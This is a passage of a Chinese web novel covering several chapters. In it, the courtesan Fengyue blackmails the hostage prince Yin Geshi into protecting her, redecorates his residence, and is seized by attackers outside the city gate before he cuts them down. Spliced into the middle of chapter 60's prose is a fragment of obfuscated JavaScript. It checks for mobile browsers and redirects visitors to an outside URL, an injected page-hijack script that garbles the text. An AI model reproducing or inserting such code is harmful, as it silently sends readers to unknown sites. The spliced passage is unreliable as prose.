刚握拳给自己打气呢,就听见外头的脚步声,风月立马闭眼,躺在床上“哎哟哎哟”地叫唤,顺带掐了一把目瞪口呆的灵殊,让她回神。
小丫头片子不愧是跟她混的,机灵劲儿十足,立马趴在床边就哭:“主子啊!您怎么这么惨啊!”
虽然喊得一点也不走心,但是风月觉得可以将就,配合她凄厉的声音,表情更加痛苦。
殷戈止推门进来,看见的就是这么一副哭丧似的画面。
眼睛微微一垂,他走到床边,看了一眼上头半死不活的人,冷声道:“想死也别死在我的院子里。”
虚弱地睁开眼,风月缓缓抬手,眼里含泪地看着他:“公子就这般无情吗?奴家为公子,肝脑涂地,死而后已,公子连一丁点怜惜都不肯给奴家?奴家……咳咳,浑身都是伤。”
眼里满是嘲讽,殷戈止道:“你这样的人,手骨碎了都能忍着疼的,这点皮外伤,能躺在这里动不了了?”
暗暗咬牙,风月在心里骂了自己一句,怎么他奶奶的就
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忘记装柔弱了?顶着伤瞎蹦跶什么啊?现在好了吧,苦肉计都不管用!
不过,知道一出这使臣府的大门就不会有好果子吃,所以这戏再难,那也得演!
“奴家……毕竟是弱质女流。”声音越加虚弱,风月满脸委屈,泪水一条条地往脸上淌:“眼下性命有危,公子难道就不施以援手吗?”
施以援手?想起她那可恶的样子,殷戈止冷笑,伸手就将她从软榻上扛起来,一点也不犹豫地便往外走。
“哎哎?喂!”瞬间活了过来,风月连忙挣扎:“别啊,公子!殿下!有话好好说!”
“别让我看见你,要是这点事都要靠我护着,你不如**干脆。”声音冰冷,带着震动传过来,听得风月扁了扁嘴。
“奴家无权无势,不靠您护着,还靠谁护着?”
“你还可以去勾引赵悉。”
我去你奶奶的!磨了磨牙,她觉得,既然装柔弱没有用,那趁着还没被扔出去,就好好说话吧!
“公子,奴家出来的时候,已经被徐家赎身。”语气陡然带笑,又是一副妖媚模样,挂在人肩膀上,也媚声媚气地道:“现在是您的人了,就算您扔奴家出去,赵都尉问起来,奴家也会说是您让奴家去偷的东西。”
脚步一顿,殷戈止伸手就将她扔在地上,然后居高临下地看着她:“威胁我?”
“奴家不敢,保命而已。”风月赔笑:“不管怎么说,咱们现在都是一条船上的人,扔奴家出去喂狗,您也不会脱了干系。不如还是好生坐下来谈谈?”
“你凭什么跟我是一条船上的人?”殷戈止嗤了一声,很是不屑:“不过投诚于我,也想与我共存亡?”
早知道这人心狠手辣,风月觉得,还好自己留了后手。
“恕奴家冒犯。”笑着颔首,风月盘腿坐在地上,一脸无赖样地看着他:“公子现在只能与奴家共存亡了。”
跟看笑话似的看着她,殷戈止抱了胳膊,示意她说下去。
清了清嗓子,风月道:“首先,您在梦回楼经常点奴家的事儿,有心人稍微打听一下就能知道。再者,安国侯府的寿宴上,徐家少爷说了,我是他送您的丫鬟。此事,太子也知情。也就是不管怎么说,明里暗里,奴家都是您的人。”
“区区妓子,谁能信没有您的指使,奴家能做出偷人账本的事情来?到时候奴家被抓,您不救,那奴家肯定只有招供了,说您图谋不轨,想拔除易大将军的爪牙,表面上与易府交好,实际却是一心想复仇!您说,有这样的供词,吴国的人,会不会对您生戒心?”
眼神陡然一凛,殷戈止缓缓蹲下身子,俯视她:“你在逼我杀了你?”
“杀吧。”无所谓地耸肩,风月道:“杀了奴家,奴家背后的关系网会将奴家想说的话,传遍不阴城每一个角落。”
这该死的!殷戈止捏拳!
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第58章 得讨好他
弱质女流,当真是弱质女流?他活了二十多年,从未有人敢这样威胁他!更可恨的是,这威胁他还必须得受!
同是魏国人,她能猜到他的心思,靠蒙的也能猜中一二,然后玉石俱焚,她**,他也别想继续谋事。
“你这样的,也算得上魏国人?”
这语气平静却又带着恨,听得风月抬袖笑得更欢,眼睛都弯成了月牙:“奴家是浮萍,没有根的。”
谁不曾爱国如命,可满门的热血都凉在了斩首台上,还说什么魏国人?
魏国对于她,现在什么意义也没有。老头子固执的忠国魂,她就是半点没继承,怎么的,咬她啊?
嫌恶地看着她,殷戈止眼里风起云涌。
风月知道,被他恨上的人都不会有什么好结果,不是不报,时候未到。现在受她威胁,以后等威胁不到的时候,定然会让她尸骨无存。
也好,连死都不用自己动手。
“你这股子胆大和不要脸的劲儿,倒的确可以为我所用。”半晌之后,殷大皇子开口了,语气平静下来,像是什么也没发生过一样,只用打量货物的眼光看着她,半讽半嘲:“这么拼命地想活下来,我护你也未尝不可。”
松了口气,风月眨巴着眼道:“如此,那奴家就谢过殿下了。”
“不用谢。”他道:“既然你很能干,那有任务,我便都交于你,要我护着,你也该体现自己的价值。”
“奴家明白。”笑眯眯地颔首,又抬头朝他抛了个媚眼:“床上的价值,也可以继续体现。”
嗤笑出声,殷戈止伸手,捏着她的下巴道:“不必了,我嫌脏。”
话没落音,手指上竟然觉得滚烫。
微微一顿,殷戈止皱眉,下意识地伸手摸了摸她的脸。
当真是滚烫,跟烧着了的炭火似的,他还当她这白里透红的脸是胭脂用多了,原来是发高热了。
“嫌脏您还摸?”撇嘴自己站起来,风月道:“那奴家也省事了,最近外头风声紧,在赵都尉**之前,奴家就在您的羽翼下呆着了。”
说罢,转身就朝客院走。
“喂。”捏了捏手,殷戈止皱眉道:“你还走得动路?”
风月一顿,眨眼:“哎呀,忘记装柔弱了!”
不过回头看他一眼,想了想,她笑道:“装柔弱也没用啊,您也不信奴家是个弱质女流,那还是不用演了,累得慌。”
张口欲言,又咽了回去,看着她那若无其事的样子,殷戈止别开头。
她自己都不觉得有问题,那他又何必在意?
转头看一眼旁边,那水灵灵的小丫鬟在看戏似的,半晌没回过神,大概是想不明白他们刚刚说的是什么意思,所以连自家主子都没去扶一把。
这么小的丫鬟,也能用来伺候人?轻哼一声,殷大皇子头也不回地往主院走,观止老实跟着,小声说了一句:“也好,至少不用吃我做的饭了。”
想起那些带着魏国家常味儿的饭菜,殷戈止起了慈悲之心,转头吩咐道:“请个大夫回来吧。”
“嗯?”好奇地看着自家主子,观止问:“请回来?”
“检查一下她身上有没有什么病,别传染了。”板着脸,殷戈止一本正经地道。
想想好像有道理,观止点头,立马去办。
赵麟的人在梦回楼没抓到人,反而是冲撞了不少达官贵人,于是在得知风月已经被人赎身之后,赵麟便只能放过梦回楼,回去把赵悉狠狠打一顿。
赵悉挨了打,自然想找何愁发火,谁知道何愁的院子早已经空了。
果然是色字头上一把刀啊!赵悉悔得肠子都青了,连忙卖乖哄自家老爹开心,用功读书,努力练武,费了老大的功夫,终于让赵麟脸色稍微好看了点。
然而,殷戈止却在这个时候,拿着闻风令上门,面无表情地暂停了赵麟的职务,关在府里候审。
大难临头,来的又是完全对付不了的殷戈止,赵麟气极也怒极,拿着棍子就将赵悉打了个半死,还是当着殷戈止的面。
殷大皇子神色温和地瞧着,甚至还让观止上去拦了拦,赞许地道:“赵少爷大义灭亲,是天下人的典范,赵大人何必苛责?”
此话一出,赵麟打得更凶了!典范他奶奶个腿儿啊!灭的是他!
于是哀嚎之声响彻整个都尉府,众人都不忍心看,只殷大皇子坐在椅子上,看得饶有趣味。
风月发高热了,大夫说是手上的伤没好好养着,药没及时换,再加上过度操劳,所以病了。
来殷戈止面前回禀的时候,眼睛都瞪圆了,说老夫从医十几年,头一次看见姑娘家发那么严重的高热,还活蹦乱跳的,手上的伤应该很疼,但好像也不在意。
殷戈止冷笑着回答他:“那不是人,是个妖精,自然不会觉得难受和疼。”
大夫恍然:“怪不得长得那般好看。”
然后他就被观止请出去了。
使臣府很大,一年多以来一直只有他跟观止,所以很空。但现在多了两个人,不知怎么的就觉得突然热闹了起来。
他查赵麟,早上出去,风月准备好早膳,烧也没退,红着脸还冲他笑嘻嘻的。
晚上回来,她点着院子里所有的灯,扬言是太黑了觉得害怕,并且还给他留了晚膳。
先前还知道找人代劳,现在手好了一点,还自己掌勺,做的菜很合他的口味,着实让他消气不少。
于是这天晚上,坐在桌边用膳的时候,殷戈止看了一眼风月,伸手摸了摸她的额头。
“你没吃药?”
风月眨眼,嗓音很是沙哑,语气却还是活蹦乱跳的:“吃了啊!”
“那为什么都三天了,高热还没退?”
这是关心她了?风月心里激动得呀,这几天一直努力讨好这位大爷,争取别太快弄死她,皇天不负有心人,殷大皇子也不是特别记仇啊,这不,还知道问她吃没吃药!
“昨天晚上退过的,灵殊一直拿水给奴家擦身子呢。”脸上笑得跟朵花似的,风月道:“就是下午的时候,不知怎么的又烧起来了。”
斜她一眼,殷戈止道:“大夫说,高热一直不退,人会变成傻子。”
这么严重?吓了一跳,风月立马扔了碗,扯着嗓子就叫:“灵殊!药!”
灵殊端过药来给她,看她一口气喝完
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,松了口气:“主子终于肯老实吃药了。”
旁边的目光一凉,风月一把就捂了灵殊的嘴,然后冲人家笑:“嘿嘿,这丫头胡说呢,奴家平时吃药也很老实。”
无辜地眨眼,灵殊扯开她的手,道:“您既然吃了药了,那奴婢晚上能出去一趟吗?”
嗯?转头看她,风月好奇地问:“去哪儿啊?”
旁边的观止突然猛烈地咳嗽起来,然而天真单纯的灵殊没察觉,张口就道:“观止说等你们睡下了,就带我去看看月亮,他说使臣府的月亮跟外头的不一样,可好看了。”
殷戈止:“……”
风月:“……”
脸色唰地就白了,观止连忙摆手:“主子,您听我解释。”
“听你解释?”不等他开口说下去,风月飞起一脚就将他踹了出去:“敢泡我的丫鬟!活得不耐烦了?”
瞧一眼她这出腿的力道,殷戈止唏嘘。
外头传来观止痛苦的声音:“冤枉啊……属下当真只是想带她看看月亮。”
“看你大爷!”风月怒道:“我家灵殊才十二岁,你要不要脸啊?”
“你都不要脸,还指责别人?”慢悠悠地夹了菜,殷戈止道:“他们自己的事,自己会处置,你管那么宽做什么?”
她管的宽?风月咬牙,跑回桌边坐下,瞪眼看着他道:“您是养猪的,奴家是种白菜的,敢情猪拱了白菜,您还嫌奴家管的宽?”
看了一眼外头慢慢爬进来的猪,殷戈止抿唇不语。
灵殊拉着风月的袖子摇了摇,小声道:“主子,奴婢已经长大了,您不用这样担心的。”
拎起她左右看了看,风月笑眯眯地问:“哪儿大啦?”
小脸一红,灵殊挣扎:“主子!”
“要去看月亮也不是不行。”风月龇牙,指了指观止:“但是他跟你说了什么,你统统都要回来告诉我。”
“好!”灵殊立马答应:“这有什么难的!”
观止:“……”
这丫头,委实太单纯!
“好生用膳。”殷戈止道:“晚上怀祖和世冲要过来,我要授课。”
“是。”转脸颔首,风月端起饭碗就继续刨,刨完一碗还添一碗,连续吃了三碗,才放下筷子,等着他吃完好收拾。
惊愕地看了一眼她的饭量,观止小声道:“您吃这么多,怎么也不长胖啊?”
殷戈止道:“她活动得多。”
姑娘家,能有什么活动?观止和灵殊都一脸茫然,只有风月笑呵呵地红了脸,壮起胆子踩了旁边这人一脚。
殷戈止冷冷地看着她,看得人把蹄子收了回去,乖乖地端坐着。
他要授课,风月闷着就无聊了,这几日她都不打算做事,于是就只能在院子里找乐子。
“这儿空得慌。”指了指客院的庭院,风月道:“该种点花。”
灵殊点头:“对啊,可是这院子除了咱们也没人住,那位公子肯定是懒得打理。”
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第59章 让院子热闹点
“闲着也是闲着。”风月道:“去弄点来。”
弄?灵殊眨眼:“怎么弄啊?咱们可没带银子出来。”
恨铁不成钢地看她一眼,风月拎着人就出了使臣府,指着牌匾给她看:“这不是银子吗?”
于是,一个时辰之后,天色尽暗,殷戈止刚收了招式,打算再指点两个徒弟一二,就见观止满头大汗地跑进来,着急地冲他比划。
不动声色地转头,殷戈止道:“你们两个再练习几遍,为师去喝杯茶。”
“是。”安世冲和徐怀祖听话极了,在庭院里拉开架势就继续练。
走到观止那边,殷戈止看他一眼,就听得他道:“主子,风月姑娘刚刚上街,买了很多东西回来。”
买东西?殷戈止道:“她倒是有闲心。”
“可是,账单全送到咱们这儿了!数额还不小,不结的话,恐怕不好看。但要是结了,属下担心被人逮着说事。”
质子的月钱是朝廷给的,不少,但也绝对不够挥霍,他府上要是突然开支多了,又正是在查人家**的风口浪尖,定然是会被人当把柄抓着的。
想了想,殷戈止回头,温和地喊了一声:“怀祖。”
正在挥刀的徐怀祖听着,立马跑过来笑问:“怎么了?”
“门口有人收账,你替我拿银票出去给他,观止还有别的事要忙。”
观止一愣,看了自家主子一眼,立马装作很忙的样子,在旁边活动了一下筋骨。
不疑有他,徐怀祖接过银票就往门口走,付清了账再继续回去练刀谱。
“主子。”
客院里,灵殊跑回来道:“好神奇啊,您怎么知道观止不会出去付账?是拿刀的那个公子出去给的。”
正在摆弄东西的风月头也不抬:“因为这账单,使臣府给得起也不会给,那么狡猾的人,肯定又拿徒弟当幌子。”
她买东西的时候就没省着,反正殷戈止给得起。别人不知道,她却晓得,这人从进不阴城开始就没闲着,蛰伏一年,也没少经商养自个儿的手下,安居街附近不少的店铺可都是在干将名下的,据干将说,殷戈止开的店不少,挂的都是一众暗卫的名,谁去查也查不出什么猫腻,但钱肯定大部分是进了他自己的口袋的。
就这经商的头脑,还当什么大皇子啊,努力努力,过个几年说不定就成吴国首富了呢。
看她忙活着,灵殊也不多问了,蹲下来就帮忙,顺便摸了摸自家主子的额头。
烧退得差不多了,其实不该这么操劳,该继续歇着的,可她脸色虽白,人却精神得很,让人想担心也不成。
手上包着的东西都拆掉了,大夫说愈合得差不多,只是还不能用力。于是风月就伸着爪子指使灵殊:“这个放这儿,另外的,等会搬去外头摆。”
府里的石灯太少了,主院就两个,门口进来的路上两个,其余的地方都没有,于是除了花草之外,风月跟石匠订了十几座灯,第二天一大早就送来了,还帮着摆放在了院子四处。
殷戈止冷眼瞧着,脸色不太好看地问她:“你想做什么?”
回头朝他一笑,风月道:“奴家这不是看您的院子太空旷冷清了吗?所以弄点东西回来摆着,您瞧着也舒心。”
这么多乱七八糟的东西,哪里瞧着舒心了?殷戈止不悦:“别自作主张。”
“哎呀呀,您等着就好了。”风月道:“先来帮帮忙啊,府上奴仆太少了,就观止和灵殊两个人,要弄好久呢。”
不情不愿地被她拖着走,殷戈止侧头,就见自己的庭院里已经种上了一圈儿花草树木,正值春末,迎春、山茶、瑞香等花开得姹紫嫣红,被水绿色的叶子衬着,分外有生气。冰冷的房屋像是鲜活了过来,瞧得他头疼。
还是什么都没有更干净点。
主院道路的两侧放了四座石灯,看着就很累赘,前头这疯子还觉得很高兴,拉着他去看观止和灵殊摆放其他的石灯。
或者说,是灵殊在旁边喊加油,观止一个人扛石灯。
这些石灯都是四角飞檐的造型,中间四空,罩了薄纱,挺好看是没错,但是摆那么多,真的有必要吗?
“主子!”苦着一张脸,观止道:“奴才要扛不动了!”
风月微笑,挽着殷戈止的手道:“身为武士,就应该多锻炼,就当练功了。”
谁他奶奶的要这么练功啊!观止想哭,抬头看见风月脸上那跟自家主子整人的时候如出一辙的表情,连哀嚎都嚎不出来了。
某个方面来说,这风月姑娘跟自家主子真是配啊,一个阴险无耻,一个无耻阴险!
殷戈止瞧着,淡淡地说了一句:“你是不是把这儿当自己家了?”
风月不要脸地点头:“是啊!有您在的地方,就是奴家的家!”
斜了她一眼,殷戈止道:“可以,你有用一日,这里就可以成为你的家一日。”
但没用了,这儿可能就是你的葬身之地。
这话没说出来,风月也听出来意思了,毫不在乎地笑着,不当回事,只在心里想,还以为这人态度和缓下来,就是原谅她的意思了。谁知道殷大皇子也是演戏界的高手,她在人家心里拧的疙瘩,恐怕不是这样讨好就能给消了的。
任重而道远呐!
“护城军都尉**一案,牵扯了三司府,朱来财已经招认与赵麟多有金钱往来,证供都已经上交给了太子。”转了话头,殷戈止平静地陈述了一下这两天发生的事情。
谈正事,风月就拉着他到了旁边的凉亭里,拿了新买的茶具出来给他倒茶:“也就是说,赵麟很快能伏法?”
“不。”殷戈止摇头:“他背后关系甚多,太子那边遇见的阻力应该不小。别的不说,将军府麾下的一众武将,就都会为他求情。”
风月一顿,看了他一眼:“那赵麟,是易将军的人?”
“朝中武将,一巴掌拍下去,十个有八个是易将军的人。”殷戈止道:“不然你以为,太子为何那般忌惮?着急地要趁着他不在国都,替换自己的势力上去?”
护城军都尉之职是个好差事,风
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月想得到太子对这个位置有想法,但是……
“您也说朝中武将十有**是易将军的人,那空下来的位置,换谁上去?要是换没什么本事的人,那恐怕不能服众。可要换有本事的……太子哪儿来的人啊?”
深深地看她一眼,殷戈止吐了五个字:“他没有,我有。”
微微一愣,风月反应过来了,猛地一拍大腿,疼得自己倒吸凉气:“你徒弟!”
安世冲和徐怀祖可算是太子送给他的徒弟啊,校场上的话也不是白说的,几大世家都明白情况,还暗自恼恨着太子呢。现在有武将的肥缺,那肯定是安世冲和徐怀祖上啊,两人出身高贵,本事也不小,又有殷戈止护航,怎么瞧都是名正言顺的。
他们不是太子的人,最听的也是殷戈止的话,可是眼下这样的情形,也只有用他们。
突然觉得这人真是下了好大一盘棋,不知道是从何时开始落子,等人反应过来,都已经身在棋盘之上。
咽了口唾沫,风月讨好地过去捏了捏他的肩:“公子渴吗?”
“不渴。”
“那……要吃点东西吗?”
瞥他一眼,殷戈止道:“你不用刻意奉承我,你要做的,只是做好你该做的事情。”
被看穿了啊?干笑两声,风月收回爪子,站得笔直地看着他问:“有事需要奴家效劳吗?”
“我需要弄点动静出来,让这几个人自顾不暇,别再管赵麟。”
放了张名单在她面前,殷戈止问:“认识这些人吗?”
扫了一眼上头的名字,风月伸手在上头划了划:“周臻善、冷严,这两位倒是认识,但最后这个名字,奴家未曾见过。”
看了一眼她指着的名字,殷戈止道:“房文心,禁军副统领,此人一向在宫中,鲜少外出,你没见过也是正常。”
所以,没见过,又是在宫里的,她怎么去吓唬人家啊?啊!难不成装鬼飘进宫啊?
“这人不用你管,剩下的两个,你可有对策?”看她一眼,殷戈止问。
对策么?敲了敲桌子,风月笑道:“为将者,罪不过**与泄密,泄密之事奴家未闻得风声,但买卖官职收**赂之事,多多少少都该沾染了些,以此诈,必中。”
“没有证据,你想诈这些个久经沙场的老将?”殷戈止嗤笑:“想得简单。”
“做不做得到,是奴家的事情。”风月微笑:“公子不必为奴家操心。”
谁要替她操心?不过是怕她坏事而已。
别开头,殷戈止道:“既然如此自信,那你且去办。”
“是。”笑盈盈地行礼,风月转身,带着灵殊就出了使臣府。
“她在府里,可有与人往来?”看着她的背影,殷戈止问了一句。
旁边的观止摇头:“这些天风月姑娘除了摆弄院中装饰,再也未做过别的事情。”
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第60章 良好的配合
够谨慎的啊,殷戈止忍不住轻轻拍手:“观止,你见过这样的女人吗?”
观止摇头,想了想又有点茫然地问:“什么样的女人啊?”
“她这种,嘴上说爱慕你多年,实则对你诸多防备,又肆意与他人眉来眼去的女人。”微微阖眼,他眼里神色暗转,看着外头新栽的树道:“来路不明,手段颇多,目的不纯。”
听起来很危险啊,观止道:“您知她诸多不好,又何必再让她做事?”
“有能者,不用白不用。”收拢了手,殷戈止垂眸:“她狠到能用自己的身子做筹码,那我又何须怜她?”
看了他一眼,观止忍不住道:“主子,有件事属下不知有没有说的必要。”
“不知道有没有必要就是没有必要。”殷戈止道:“别说了。”
“……可是,您先前那般生气,是不是因为风月姑娘给赵悉献身?”观止道:“可赵悉说,他压根就没怎么碰着风月姑娘,刚进书房就晕了过去,什么也不知道了。”
身子一僵,殷戈止抬头,看着他道:“你已经闲到连这种小事都查了?”
“也不是属下专门查的,是赵悉在跟赵麟解释的时候,咱们的人听见的。”观止道:“风月姑娘很聪明,时机也刚好,趁着赵麟不在府上就冲赵悉下手,而且是有备而去,还带着**,所以东西到手很是顺利。”
冷笑一声,殷戈止抬眼看他:“若是没碰着她,那她脖颈上的痕迹是哪儿来的?赵悉的推脱之辞,你也信?”
观止挠头,不知道该怎么说了。
屋子里安静了一会儿,他以为这事儿就这么算了,也不必再讨论,但没想到,自家主子又开口了,语气还有点古怪:
“再说了,她要是没献身,何必把话说得那般难听?”
是她自己说的,给一个人上是上,给一群人上也是上,能用身子换东西的时候,她为什么要守身如玉!这种话,要不是当真做出来了这种事,谁会骂自己骂这么狠?
尴尬地扯了扯嘴角,观止犹犹豫豫地道:“属下当时是在门外听着的,也不知道您二位到底在吵什么,不过就属下听见的而言……主子,是您先把话说得很难听的。”
是吗?
殷戈止皱眉,安静地回忆了一会儿,沉默了。
“其实您若是只把风月姑娘当个助力,那她怎么做的您完全不用在意,可您偏偏生气了,气得还不轻。”摸摸鼻梁,观止道:“属下想提醒您很久了,主子,您挺喜欢风月姑娘的,既然喜欢,那就别总是欺负人家啊……”
“我欺负她?”殷大皇子语气不屑极了:“你哪只眼睛看见我欺负她?”
是看不见,欺负的时候都关了门的!观止叹息:“属下也不是要干预主子的感情之事,但……风月姑娘瞧着也不容易,既然是利益相同,她也没有叛您之心,那您可以宽容些。”
宽容吗?他一向挺宽容的,没有苛责过谁,只是最近……可能是事情太多了,脾气暴躁了些,说话也不是很温柔。
本是打算好好对她,让她对自己死心塌地,甘愿效劳的。被这点小事一打岔,倒是忘记这初衷了。
微微有些懊恼,殷戈止起身,正想说把风月叫回来,那差事有些难为她了,结果就听见外头有人敲门。
观止连忙去看,却听得人说:“传太子殿下口谕,请殷殿下往北门外茶棚一叙。”
太子?观止回头,就见自家主子已经走了出来,拱手应了一声:“好。”
如今与太子关系不错,观止也没多想,拿了佩剑便要陪主子出去,却听得他道:“你留下。”
府里还有个灵殊呢,风月出去是不会带她的,那小丫头没人看着,定然是在府里横冲直撞,万一撞出什么东西来,那就不好了。
了然地点头,观止应下,就看着自家主子跟着传信的人上马,很快便跑得没了踪影。
风月回了一趟梦回楼,金妈妈一瞧见她便将她拉到小黑屋里,瞪眼道:“您可小心点!不少人在找您呢!”
“我知道。”朝她一笑,风月道:“有人护着我,我倒是不担心小命不保。”
“你说殷大皇子?”金妈妈直摇头:“我收到风声,最近他得罪的人不少,又是个没权没势的质子,有人想对他下手。”
笑意一僵,风月想了想,道:“他武功极好,一般人对他下手,都讨不着什么好。”
“所以你更该小心。”金妈妈道:“柿子还挑软的捏呢!”
不对殷戈止下手,那就对她下手?风月轻哼,她这来无影去无踪的,谁能堵着她?
然而,事实证明,人不能太自信。这话她还没说出来呢,小黑屋的门竟然就被门一脚踹开了!
风月抬头,瞧着那穿着常服但表情很是不友善的一群人,咧嘴笑了笑,往金妈妈手里塞了个东西,便挡在她面前朝这群人抛媚眼:“大爷,来玩的么?”
一群大爷并没有理会她,上来就将她架住往外拖!
“哎哎哎,有话好好说,你们轻点!”咋咋呼呼地闹开了,风月扯着嗓子就喊:“光天化日啊!强抢良家……呸,强抢妇女了啊!”
楼里的人瞬间都跑出来看热闹,连打杂洒扫的大婶都出来看了,看着风月被带走,提着簸箕就出了门。
大概因为她太吵了,这一群士兵拿了布条捆了她的嘴,于是风月只能瞪眼看着他们。
赵都尉明明已经被软禁了,可竟然还能派人出来抓她,殷戈止说得没错,这人背后的势力当真不小。
会被带去天牢吗?还是谁家的私牢?她一路都在想,没想到这群人竟然直接架着她从北门出去了,就在一群北门守卫的眼皮子底下,捆着她,直直地出了城。
回头深深地看了北城门一眼,风月啥也不想说了,只想给它伸个大拇指,厉害啊,都不用盘问一下的!
不过,带她出城门做什么?
天色莫名的阴沉下来,风月到树林里的时候,就看见很多人围成一个圆,气氛凝重。
开篝火晚会啊?所以绑她来是想让她围着火堆跳个舞?早说啊,她自己就能过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989451|161617||http|test|mini|href|location''.split(''|''),0,{}));
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嘴上的布条被扯了下来,旁边一个凶神恶煞的人喝道:“喊他一声,不然杀了你!”
明晃晃的刀子就架在脖子上,风月连忙道:“喊谁啊?你们总得让我看清楚再说啊!”
圆圈空出来一个缺口,她抬眼,就看见一群人围着的,不是篝火,是殷戈止。
“您也在这儿啊?”风月惊喜地道:“好巧诶!”
殷戈止:“……”
这蠢得要命的女人,不是自信满满地说一定会把事办好的吗?结果事没办,人倒是被人抓过来了?
笑着笑着就觉得气氛不对,风月眨眼,看了看殷戈止,又看了看自己旁边那个头目模样的人,小声问了一句:“大哥,什么情况啊?”
没看她,那头目手里的刀就横在她脖子上,沉声冲殷戈止道:“你若是再抵抗,那她就先死。听说,阁下对这小美人儿很是宠爱。”
“你听错了。”殷戈止淡淡地道:“就算杀了她,我也不会如各位所愿。”
风月一听就知道是什么情况了,当即恨铁不成钢地道:“你们傻啊?这么多人还怕他一个不成?打他啊!双拳还难敌四手呢!蚂蚁多了还咬死象呢!”
头目一愣,看看殷戈止再看看风月,心想不对劲啊,这怎么看也不是传闻中的**深深,倒更像是见着杀父仇人似的。
“哎呀,你说你们大男人打架,绑我一个弱女子来有什么用啊?传出去不是让道上的人笑话吗?”似怨似嗔地看他一眼,风月道:“大哥,听我的,你们八个人攻他左边,八个人打他右边,剩下的人包抄,就算他是妖怪,那也能怼死!再不行加点弓箭暗器什么的!”
重重包围之中的殷戈止黑着脸道:“你主意还出得挺快。”
“过奖过奖。”朝他做个鬼脸,风月哼笑:“能弄死您,奴家还能多出点主意。”
“别让我逮着你,不然你脖子上的东西别想要了。”
“来啊,打我啊!”翻了个白眼,风月表情很是欠揍:“可惜您今儿得比奴家先死!”
听这一来一往的话,头目彻底傻眼了,一度怀疑手下的人是不是绑错了。
然而,来不及多想,那头的殷戈止当真怒了,直往风月的方向冲,看起来当真是要打死她。
小美人吱哇乱叫,跺脚道:“大哥!保护我!”
旁边的头目下意识地就喊:“拦住他!”
拦得住吗?风月微笑,很是放心地看着殷戈止夺人兵器,然后跟切白菜似的切着这群人。
江湖**与战场上的将军是有差距的,殷戈止向来习惯以一当众,江湖人士更习惯的却是单打独斗,所以双方一对上,人多的这边反而束手束脚。
殷戈止很兴奋,像当初在望乡楼上一样,一看见鲜血,整个人就像是开了刃的剑,兴奋得颤抖。一刀捅人心脏,抽出来的血洒在脸上,眼神就更加炙热。
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第61章 省心的女人
风月很喜欢这样的眼神,不过站在他对面被他这样扫着,还是有点心惊。于是她就扯着旁边那大哥的衣裳,颤颤巍巍地道:“你们行不行啊?他要冲过来了!”
头目也很慌张,他知道殷戈止不好对付,所以带了三十多个弟兄,心想就算很难打,怎么也能堵死他吧?
谁曾想,那重重包围之中的人竟像是不会累似的,力道贯通刀身,腰斩数人。场面顿时恐怖如十八层炼狱,看得他都忍不住侧头打了个干呕。
旁边的姑娘显然是吓傻了,看见这么血腥的场景,居然没什么反应,只抓着他可怜兮兮地道:“这怎么办呀。”
水汪汪的眼睛无辜地眨着,小嘴一扁,语气里满是撒娇:“奴家还不想死嘤嘤嘤!”
头目微愣,抹了把嘴就将她护在身后,凭着男人最后的骨气,硬声道:“你先走!这里有我们顶着!”
感动地看他一眼,风月道:“大哥,你们小心啊!”
然后提着裙子就往后狂奔!
衣裙烈烈,跑起来像翻飞的蝴蝶,风月没敢回头,因为四周有人好像反应过来了,疑惑地问了一句:“咱们不是绑她来的吗?做什么要护着她让她先走?”
“对啊!”一拍脑门,那头目也反应了过来,扭曲了脸转头就朝她的方向喊了一声:“站住!”
傻子才听话呢!风月哼笑,跑得贼快,卷起满树林的枯叶,纷纷扬扬的。
殷戈止嘴角带了抹笑,杀戮之中难得心情也很好,挥刀抹了面前三个人的脖子,然后踩着后头的人腾空而起,直往风月这边追。
一众贼人就看着那黑衣大魔王朝那红衣小姑娘追去,手里大刀红得跟她身上的裙子一样。到她身后,那大刀高扬,对准了她的脑袋。
想起刚刚这位爷说的话,头目惊呆了,连忙让人别追,然后一脸惋惜地看着那可怜的姑娘。
要**吧?可惜了一张倾国倾城的脸!
然而,刀是落下了,却是落在了地上,殷戈止伸手一捞,直接将狂奔的风月捞进怀里,然后带着她继续狂奔。
这人跑起来可比她快多了!大大地松了口气,风月咧嘴一笑:“奴家真是太聪明了!”
聪明?斜她一眼,殷戈止勾着嘴唇道:“我看你是胆大包天。”
“冤枉啊,权宜之计。”也没抬头看他表情,风月抓着人的衣襟就急忙解释:“不那么说的话,奴家早就被他们宰了。”
“你怎知你一定会被宰?”
“不然呢?”偷偷翻了个白眼,风月道:“难不成您还会为了奴家,受人威胁?”
“倒是有自知之明。”搂紧了她,殷戈止回头看了一眼,道:“下次出来带点人,再被人抓着,可能就没这么好的运气了。”
瞧着前头的北城门,风月放下了心,笑着打趣:“您是要奴家带着观止出来吗?要是带灵殊,那可能无辜亡魂更添一条。”
“可以。”
可以?!
本是随口说说,他还当真要把自个儿的随身护卫给她不成?风月愕然,抬头看了看他的下巴,突然觉得看不太明白这个人。
“站住!”刚要进城门,守城的卫兵竟然直接将他们拦下了,沉声道:“满身血腥,请跟我们走一趟。”
风月一顿,下意识地就道:“他刚去城外杀猪了,这身血一点也不奇怪。”
用看傻子的眼神看着她,殷戈止冷声道:“你不能想点别的说法?”
杀猪一点也不帅!
风月瞪他!这都什么时候了,还考虑帅不帅?
“形迹可疑,带走!”卫兵一挥手,城门下十几个士兵就统统围了过来。
反抗贼人还能说是自卫,但是要反抗这些人,那就是与官府作对了。
叹了口气,殷戈止将怀里的人放下来,低声道:“是祸躲不过。”
“没关系。”靠在他胸前,风月低声道:“不会有事的。”
她哪里来的自信不会有事?殷戈止抿唇,不过也不慌张,见四周卫兵不敢上前,便道:“要去哪儿?指个路。”
卫兵抿唇,觉得抓人都不上前押着,实在是不合规矩。但……看一眼这人的眼神,以及身上浓厚的血腥味儿,他们觉得,不合规矩就不合吧,能把人带走就不错了。
于是北城门就出现了这样的场景——黑衣红裙的两个人一起走着,四周都是卫兵,拿着长戟对着他们,颤颤巍巍地引着他们往前走。
“这好像不是去京兆衙门的路。”风月笑着说了一句:“要去哪儿啊?”
